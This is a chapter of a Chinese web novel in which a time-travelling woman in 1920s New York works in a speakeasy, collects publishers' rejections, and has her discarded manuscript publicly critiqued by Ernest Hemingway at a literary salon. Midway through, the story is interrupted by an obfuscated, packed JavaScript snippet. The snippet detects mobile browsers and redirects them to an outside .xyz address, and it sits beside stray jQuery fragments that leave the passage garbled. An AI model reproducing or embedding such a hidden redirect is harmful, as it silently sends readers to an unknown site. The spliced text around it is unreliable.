23. 海明威

作品:《美国往事

    唯一让雪伦欣慰的是,贝尔先生十二点后及时出现,发放了这周的薪水。


    难怪克拉拉没有踩点冲出去。


    雪伦不觉得她是想留下来,照看加西亚,一个喝得醉醺醺、臭烘烘的男人,


    克拉拉的薪水超过四十美元,从她喜笑颜开的模样,雪伦猜得出,这或许是克拉拉近来最高的一笔周薪。


    但愿她不要再加仓迈阿密银行。


    至于雪伦,虽然她提前预支过一半周薪,但靠着连续工作四天、加上分成,她一口气得到二十九美元的周薪(将近二十九,作为业绩奖励,贝尔先生给她补齐到整数)


    脑中闪过橱窗里瞧见的漂亮衣裙,雪伦当即摇头,把这种堕落的念头甩出脑袋,告诫自己,攒钱,攒钱,还是它喵的攒钱……


    走出霍普艺术之家,贝尔先生又跟上来,依旧是说担心雪伦身上带着美元不安全,想送上一段路。


    雪伦笑盈盈地反问他,难道不该是没带钱财,劫匪得不到钱财,才会更不安全吗?


    见老贝尔被问的哑口无言,雪伦却咯咯笑出来:“哈~贝尔先生,我瞎说的,有你陪着很安全。”


    他们正要向前走,克拉拉竟风风火火跑了回来,说自己落下某件东西,接着就冲进约翰尚未关闭的通道。


    “她真的——像个小太阳。”雪伦再次感慨。


    或许,这就是克拉拉不会喜欢加西亚老爹的原因。


    再怎么吹牛,老爹也飞不到天上去,追逐天边的太阳。


    ******


    第二天雪伦先后去了哈珀兄弟出版社和阿尔弗雷德出版社。


    前者在四十二街,是家老牌出版社;后者在第五大道,是个年轻但走高端路线的出版社。


    结果不出意外,它们先后拒绝了雪伦的小说,给出的理由也很正式。


    “我们更看重主流的文学作品。”


    “本出版社注重内容深度与艺术性。”


    雪伦无话可说。


    自己毕竟不是传统文学发烧友。坦白说,她曾经也就痴迷过《基督山伯爵》这一本经典名著,年少时读过数遍,但要她说说具体细节,不好意思,大仲马先生太水了,一个花园都能写上一页纸。


    所以雪伦只能试着拷贝一下记忆中的影视作品。


    七部哈利波特?


    不好意思,她每一部的电影剧情都忘得差不多了,何况是七大本小说。


    于是周一的白天就这样过去了。


    晚上艺术之家的生意又回落到往常,老顾客们总会按例来喝上一杯,几个固定客人喜欢哪种鸡尾酒,雪伦都已熟记在心。


    毕竟不是谁都喝得起法式75,边车,马提尼。


    雪伦估计在整条西大街,霍普艺术之家都算得上中高档次的地下酒馆,如果贝尔先生愿意拿出沙皇酒窖的好酒,那妥妥的顶流。


    里奥依旧过来待了两小时,看上去他似乎是放弃了,只对雪伦说几了个笑话,谈了两件齐格菲歌舞团的趣事。


    本着不得罪客人的原则,雪伦都会回应,哪怕是敷衍,也是认真地敷衍。


    之后又过了几天,雪伦先后去了费伯出版社,克诺夫出版社和时代出版社。


    因为前两家的地址较远,且不想在一天里经受两次打击,她都是一天一家出版社的行程安排。


    让雪伦难绷的是,费伯出版社是家总部在英国的出版社,这边纽约分部的负责人是个英国佬,所以他挑刺雪伦的伦敦腔不够纯,也不喜欢她作品里东西方两大超级强国的设定,声称世界上只有唯一一个超级帝国,那便是日不落帝国。


    呵呵!


    雪伦心头嘲笑:一百年后就是小不列颠快没北爱尔兰联合不起来王国,简称小英啦~


    至于克诺夫出版社的编辑,因为有不良心思,雪伦果断撤离。


    最后让雪伦意外的是,《时代》出版社收下了她的作品,表示会认真研究,具体结果需要等两位创始人同主办编辑一起讨论后得出。


    值得一提的是,《时代》出版社今年三月才创立,坐落在东17街141号的一栋红砖老楼,相较于出版社,它的周刊日后会有更大的名气。


    本着试试不吃亏的态度,加上从格林尼治村往返只有五公里路,雪伦想着步行逛上一圈,没想到事情竟然就这样成了。


    晚上到了霍普艺术之家,因为休息过两天,加上投稿终于有进展,雪伦的兴致比前几天高出不少,对每一位客人都是热情招呼。


    忙忙闲闲好几小时,因为没有克拉拉在面前展现韭菜的自我修养,雪伦竟觉得有些无聊,就和里奥多说了几句。


    没想到里奥带动话题,说到某个地方,就表示他对舞台表演深有研究,可以当场展示。接着,他就边说边酝酿情绪和表情。


    “我在很小的时候就出生了。”


    迷惘.JPG


    “大冷天我衣服都没有一件可穿。”


    难过.JPG


    “我出生不到一分钟,就经受了人生第一次虐待。”


    抑郁.JPG


    “穿白大褂的女人把我倒过来狠狠抽打!”


    痛苦.JPG


    “就这样之后的一年多,我都无法走路,只能在地上爬行。”


    悲伤.JPG


    “那段时间我连生活是什么滋味都不知道。”


    落泪.JPG


    “直到,直到我遇见你!”里奥声音颤抖,眼眶通红地捂着下巴哽咽,“你——就像黑暗中照进来一道光,我才知道,才知道生活是有温度,有希望,有爱的。”


    “嗯哼?”雪伦看着里奥戏精附体,颇有周星星在《喜剧之王》中的风范,忍俊不禁,连眼睛都眯了起来。


    “所以,你愿意这周末陪我去看一场电影吗?”


    啊?


    雪伦没给他任何机会,瞪大眼睛斩钉截铁回答:“不行。”


    里奥眼角含泪:“不~为什么?”


    里奥给雪伦提供了足够多的情绪价值,她忍不住想要逗弄回去。


    于是雪伦一本正经胡说道:“因为我还要髪克地工作,我现在没有心思看什么谢特的电影,我呆们地只想要把有限的时间,用在无限的工作上!”


    里奥被雪伦粗野和离谱的回答惊得目瞪口呆:“你,你不是说过,你对钱不感兴趣?”


    雪伦白了他一眼:“我要把精力放在~事业上,那工作的事情,怎么能说赚钱呢!或许明年我就能升任店长,开家分店,升职加薪,走上人生巅峰呢!”


    “想想就有些小激动!”


    “我完全支持乔纳森小姐。”贝尔先生从旋转楼梯上下来,看来是偷听许久。他抱着纸盒子边走边笑道,“费城,波士顿,芝加哥,华盛顿,看中哪个都可以选。”


    雪伦做思考状:“我考虑考虑。”


    接着他俩都忍不住笑出声来。


    里奥跟着反应过来,自己被耍了。


    他干巴巴道:“我说你,还是别学克拉拉,学她说话不好……”


    雪伦却再次反驳,表示如果真成为一个好演员,就需要有能力模仿任何人的说话方式。


    里奥放弃了,嘀咕道:“好吧,你漂亮,你说什么都对。”


    雪伦撇撇嘴,不想惯着他,乘胜追击道:“所以说,人心中的成见就像座大山。你觉得我就该像个优雅的花瓶,在舞台上供人展示,那样才是合理的、美好的,而不是像刚才那样子,说出你们不喜欢听到的词句!”


    里奥像是第一次认识雪伦,站起身来,左右踱步转圈,最后激动大叫“我想到了”,直接冲进书架区,拿起笔纸刷刷书写。


    雪伦:“他怎么了?”


    老贝尔摊手摇头,接着一边摆放酒水,一边告诉雪伦,周六艺术之家将举办一场文化沙龙,询问她那晚是否愿意来工作。


    “沙龙不对外开放,没有其他客人,也就没有分成。”他补充道。


    “太棒了!”


    终于可以光明正大摸鱼了。


    雪伦轻咳一声,表示自己很愿意参加,过来长长见识。


    老贝尔相当高兴地提醒雪伦,她不需要提前准备什么,只要像最近几天那样漂亮就足够了。


    呵呵!


    雪伦故意打趣道:“如果像克拉拉那样呢?”


    想到刚才的场面,老贝尔摩挲着胡须,颇有兴趣道:“也不是不可以,总会有人喜欢。”


    雪伦:“……还是算了,那种人……”


    出于对克拉拉和加西亚的基本尊重,她心里默默补充:多半不正常。


    她郑重答应下来,心中对接下来的文化沙龙充满期待。


    正当雪伦觉得一切在向好发展,现实给了她一套组合拳。


    报社接连向她退稿,如同她穿越前,申签接连失败。


    《星期六晚邮报》和《科利尔周刊》还是相对委婉,表示并不欣赏她的小说。《纽约世界报》则直接傲慢地否定了雪伦,说她除了花体字还算漂亮,其它都不行。


    在周六下午,雪伦提前走进霍普艺术之家的时候,忍不住开始怀疑自己:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538921|170888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难道说,晋江扑街作者的身份,竟然能够跨越时空和空间,紧紧缠回到自己身上?


    她好想再来上一瓶过签喷雾!


    坐到书桌前,翻阅几张往期的《纽约世界报》,雪伦气鼓鼓将它们塞回架子上。


    实在是憋气,她将《纽约世界报》的退稿信件揉成一团,丢进废纸篓,心中暗恨,这仇她记下了!


    时间来到晚上六点,书架区域被腾挪出一大块空地,摆放上一圈桌椅,其中一张上面堆放着各类食物和饮品。


    有黄油蛋糕,肉馅三角饼,苹果派,冷炙小牛肉,香肠佐土豆泥,黑醋栗,李子,梨,鲜榨橙汁,远东红茶,以及随时可以提供的酒水。


    难怪贝尔先生交代雪伦,午餐少吃些。


    客人们基本到齐,三三两两聚一起,或是交谈,或者自助进餐。


    雪伦注意到他们穿着非常随意,完全不是她以为的西装革履,衣冠楚楚。


    亚麻衫,帆布夹克,棉布上衣等各类装扮,甚至有人套了件旧军装,可能是位退伍老兵。只有个别几人身穿旧西装,想来是因为经济拮据。


    朱利安教授也来了,他的着装相较以往要朴素很多。


    最显眼的是位年轻人,身板硬朗,络腮胡,三角帽,玉米烟斗,夹克衫,颇具浪漫主义气质。


    他们谈论诗歌,小说,先锋文学,现代主义运动,气氛逐渐热烈。


    雪伦则光明正大摸鱼到九点多,好不快活。


    期间那位年轻人过来点了杯法式75,夸了雪伦一句。


    雪伦注意到客人们称呼他“欧内斯特”,或者“亲爱的米勒”,算是这次沙龙活动的中心。在他说话时,不少人愿意停下来,倾听他的论调。


    雪伦偶尔低头倾听,学到不少,偶尔抬头看挂钟,希望时间再走快些。


    于是,当客人们都累了,热情退却,分针走到某个数字,让雪伦震惊又气恼的事情发生了。


    “我发现个有趣的东西。”


    欧内斯特来到正中央,努力抚平着几张纸,对休息的朋友们说:“出于对这位朋友隐私的保护,我只做点评。”


    随着他读出一段开头,雪伦陷入到麻瓜状态。


    自己明明把纸篓挪到角落里,打算最后跟垃圾一起清理,他是怎么从旮旯里扣出来的?


    「战争,从未停歇。」


    「它揭示了我们的本质。」


    「从陆地到天空,当席卷世界的战争再次结束,多数国家还在舔舐伤口,世界的两级已经将目光投向天空的更高层面——宇宙。」


    欧内斯特没有取笑这些,而是很认真地评价,说开头几句冗余,可以二选一。他的建议是「战争,从未停歇,从陆地到天空,甚至更上面——宇宙。」


    之后他挑出重点阅读,并做点评,然后给出相当中肯的建议,雪伦听着听着渐渐意识到,自己过于看重怎样讲述一个完整详细的故事,而忽略了一本小说,不像影视作品那样,可以通过不断变化画面,展现出整个世界的风景。


    她如今最好的选择,或许正如欧内斯特所说,将冗余的设定隐于书后,精简,精简,再精简。


    最后他也给了几句夸赞,称小说开头还是流畅的,很有新意。


    雪伦从一开始的不爽快,到最后的钦佩,整个过程约莫十几分钟。


    正当雪伦以为一切结束,欧内斯特又给出了致命一击。


    他严肃到近乎苛责:“这是份丢弃的退稿,是个开头,作者显然放弃了。我想在这里批评他,如果你写不下,就不该写,为什么要这样自暴自弃呢?回家去吧,找一份工作,把自己吊死算了,别再想着写作了,你根本就不合适写!”①


    雪伦:(ー_ー)!!


    好强的攻击性。


    她气得牙痒痒,心里碎碎念:就算我文丑又怎样?我惹你了啊~你文笔好就算厉害了吗~随意批评别人…


    可惜欧内斯特的行为受到一致地鼓掌赞扬,这加速了雪伦的破防,强烈的羞耻感从胸口一路窜到脸颊、耳朵和脑后跟,使她愈加羞愧和愤懑。


    “……也许他这话对事不对人……他不知道我没放弃,还有机会……他的建议还是中肯的……”


    雪伦努力安慰自己,找出几个平复情绪的理由。


    最后瞧见欧内斯特过来要一杯柠檬水,她还是忍不住咬牙问:“精彩的点评——您一定是个大作家,我能否知道——你名字?”


    “海明威。”接过柠檬水,他干脆回答道,“欧内斯特.米勒.海明威。”